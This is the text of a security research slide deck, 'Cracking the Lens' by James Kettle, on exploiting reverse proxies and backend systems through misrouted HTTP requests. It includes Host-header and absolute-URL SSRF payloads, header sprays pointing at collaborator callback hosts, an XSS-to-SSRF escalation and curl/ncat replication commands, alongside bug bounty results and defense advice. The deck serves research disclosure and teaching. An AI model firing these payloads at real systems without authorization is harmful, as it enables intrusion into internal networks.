
CRACKING	THE	LENS

James	Kettle

EXPLOITING	HTTP'S	HIDDEN	ATTACK-SURFACE



An	Unexpected	Pingback	– cloud.mail.ru/imgur.com

Pingback	from	bn-proxy1a.ealing.ukcore.bt.net

predator.alien.bt.co.uk

cloud.mail.ru:80	(HTTP) cloud.mail.ru:443	(HTTPS)
258	bytes	|	52	millis
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Speculative Attack	Pipeline



• DNS	Listener
• Burp	Collaborator	Client
•Private	Collaborator	server	recommended

• Roll	your	own
• Canarytokens

Listening



Inviting	Responses

• Burp	match/replace
• No	correlation

• Collaborator	Everywhere
• Masscan
• No	HTTP/1.1	or	SSL/TLS

• ZMap/ZGrab



Lazily	Assembling	an	Audience

HackerOne BugCrowd

Scope	Regex 3mill	hosts

DNS	Database

Project	Sonar

50k	
webservers

ipaddress,hostname

Suitable	target	spreadsheet

Pr
of
it



Maximizing	Attack	Surface

GET / HTTP/1.1
Host: {host1, host2, host3}
X-Forwarded-Proto: {HTTPS, HTTP}
Cache-Control: no-transform
Max-Forwards: {1, 2, 3}



Misrouting	Requests

REVERSE	
PROXY

PUBLIC
APP

INTERNAL
APP



Misrouting	Requests

GET / HTTP/1.1
Host: id.burpcollaborator.net

Exploited:
• 27	DoD	servers
• ats-vm.lorax.bf1.yahoo.com
•My	ISP
• Colombian	ISP	doing	DNS	poisoning



ats-vm.lorax.bf1.yahoo.com	1/3



ats-vm.lorax.bf1.yahoo.com	2/3



ats-vm.lorax.bf1.yahoo.com	3/3

+15,000
+5,000
$20,000



• All	TCP/80	traffic	to	blacklisted	IPs	gets	proxied
• Masks	all	incoming	BT	traffic

• /0	traceroute	(ttl=10)
• Caches,	self-hosted	sites,	speedtests,	and	blacklisted	IPs

Investigating	Intent	- BT

GET	/	HTTP/1.1
Host:	www.icefilms.info

HTTP/1.1	200	OK
…
<p>Access	to	the	websites	listed	on	this	page	has	
been	blocked	pursuant	to	orders	of	the	high	
court.</p>

GET	http://104.31.17.3/	HTTP/1.1
Host:	www.icefilms.info

HTTP/1.1	200	OK
…
<title>IceFilms.info - Quality	DivX	Movies</title>



• vk.com pingback	from200.89.96.13

• DNS	poisoning	image	hosts,	social	networks

• and	bbc.co.uk
• Which	articles?
• Perspectives/Convergence
• Backslash	Powered	Diffing,	ETag

Investigating	Intent	- METROTEL

"healthy	internet"



Input	Mangling

GET / HTTP/1.1
Host: vcap.me

GET /vcap.me/vcap.me
Host: outage.vcap.me
Via: o2-b.ycpi.tp2.yahoo.net

GET / HTTP/1.1
Host: ../?x=.vcap.me

GET /vcap.me/../?x=.vcap.me
Host: outage.vcap.me
Via: o2-b.ycpi.tp2.yahoo.net

+		5,000
$25,000



Absolute	URLs

GET http://blah/ HTTP/1.1
Host: one.mil

If	you're	looking	at	this	and	
are	not	in	the	military	or	
DoD	this	won't	mean	
anything	to	you,	nor	will	you	
be	able	to	access	it….



Incapsula:	hostname:ignoredPort

Backend:	http://user:pass@hostname/

Ambiguous	Exploits	- Incapsula

GET / HTTP/1.1
Host: incap-client:80@internal.net



Apache	HttpComponents

Url backendURL = "http://backend-server/";
String uri = ctx.getRequest().getRawUri();

URI proxyUri = new URIBuilder(uri)
.setHost(backendURL.getHost())
.setPort(backendURL.getPort()) 
.build();

GET @burpcollab.net/ HTTP/1.1

http://backend-server@burpcollab.net/



GET @burpcollaborator.net/ HTTP/1.1

Service-Gateway-Is-Newrelic-Admin:	false

+8,000
$33,000



GlobaLeaks

GET xyz.burpcollaborator.net:80/ HTTP/1.1
Host: demo.globaleaks.org

SSRF	through	Tor

xYZ.BurpcoLLABoRaTOR.neT.    from 89.234.157.254	
Xyz.burPColLABorAToR.nET.    from 62.210.18.16	
xYz.burpColLaBorATOR.net.    from 91.224.149.254	



Exploiting	Auxiliary	Systems

PUBLIC	
APP BACKEND

ATTACKER	APP



"The	X-Wap-Profile	header	should	contain	a	URL	
pointing	to	an	XML	document	specifying	the	features	
of	a	mobile	device"



Decloaking Backend	Systems

GET /?a=f.collab.net&a=f.collab.net HTTP/1.1
Host: www.facebook.com
X-WAP-Profile: http://a.collab.net/wap.xml
Referer: http://b.collab.net/ref
X-Forwarded-For: c.collab.net
True-Client-IP: d.collab.net
X-Real-IP: e.collab.net
Connection: close



• URL	&	Redirect	handling
• Auto-authentication	- Responder.py
• Client	Heartbleed	– pacemaker.py

• TCP/IP	fingerprinting	– p0f
• SSL	ciphers,	cert	validation

Exploiting	Remote	Clients



• Pingback	inception
• Spray	RCE	across	LAN

• What	if	they're	rendering?
• Spray	XSS	across	LAN	- Blind	Reflected	Server-Side	XSS	(BRSSXSS)
• XSS	/proc/self/environ

• Do	they	support	JavaScript?	Or	CSS?	Do	they	enforce	the	
SOP?	Can	I	make	popups?	What	about	Flash?

Exploiting	Remote	Clients



Rendering	Engine	Hackability Probe

JavaScript	environment	difference:	
core,__core-js_shared__,System…



• Load	<history	of	blimps>

• Note	GET	/blimps/F-1.png	HTTP/1.1

• Scanning	response	for	resource	imports

Pre-emptive	Caching

GET / HTTP/1.1
Host: burpcollaborator.net

GET /jquery.js HTTP/1.1
GET /wildcat.jpg HTTP/1.1

https://www.history.navy.mil/our-collections/photography/numerical-list-of-images/nhhc-series/nh-series/NH-43000/NH-43487.html



Escalating	XSS	to	SSRF

REVERSE	
PROXY

PUBLIC
APP

INTERNAL
APP



Escalating	XSS	to	SSRF

ATTACKER PROXY PUBLIC	APP INTERNAL
POST /XSS.cgi

<img src="http://internal/index.php/a.jpg">

GET /index.php/a.jpg

Sensitive content

GET /index.php/a.jpg
Host: internal

Sensitive content



DEMO



• Reverse	proxies	are	going	to	proxy
• Use	a	DMZ

• Crawlers	are	employees
with	antiquated	browsers

• who	click	everything

• Welcome	researchers
• Have	a	bug	bounty
• Don't	forbid	automated	testing	(with	custom	tools)

Defense



Replicating

curl -H 'Host: internal' http://example.com/ 

echo -e 'GET / HTTP/1.1\r\nHost: example.com\r\n' 
| ncat example.com 80
| openssl s_client -ign_eof -connect 7.7.7.7:443

openssl s_client -servername qq.com -ign_eof -connect 7.7.7.7:443

https://github.com/PortSwigger/collaborator-everywhere
https://github.com/PortSwigger/hackability



• ZGrab+Burp Collaborator	integration

• X-WAP-Profile's	friends

• Client	exploits

• Tools	for	automated	exploitation	(especially	blind	SSRF)

• Untapped	attack	surface
• The	other	layer

Further	Research



Bug	bounties	enable	whitehat research	at	scale

Load	balancers	are	VPNs	for	the	public

Crawlers	are	employees	who	click

Takeaways

@albinowax
Email:	james.kettle@portswigger.net


